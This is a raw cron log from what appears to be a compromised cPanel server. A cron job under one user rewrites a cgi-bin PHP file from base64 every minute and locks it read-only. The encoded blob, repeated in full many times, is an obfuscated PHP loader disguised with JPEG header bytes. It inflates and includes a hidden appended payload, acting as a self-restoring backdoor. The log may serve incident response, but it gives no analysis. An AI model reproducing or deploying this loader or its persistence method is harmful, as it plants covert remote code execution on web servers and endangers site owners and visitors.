&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:30:01 server CROND[5313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:30:01 server CROND[5314]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 19:30:01 server CROND[5316]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:30:01 server CROND[5315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:31:01 server CROND[6070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:32:01 server CROND[6979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:33:01 server CROND[7890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:34:01 server CROND[8837]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:35:01 server CROND[9872]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 19:35:01 server CROND[9873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:35:01 server CROND[9876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:35:01 server CROND[9875]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:35:01 server CROND[9874]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 19:36:01 server CROND[10807]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:37:01 server CROND[11710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:38:01 server CROND[12529]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:39:01 server CROND[13392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:39:01 server CROND[13393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 19:40:01 server CROND[14351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:40:01 server CROND[14352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:40:01 server CROND[14353]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 19:40:01 server CROND[14354]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:41:01 server CROND[15253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:42:01 server CROND[16108]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
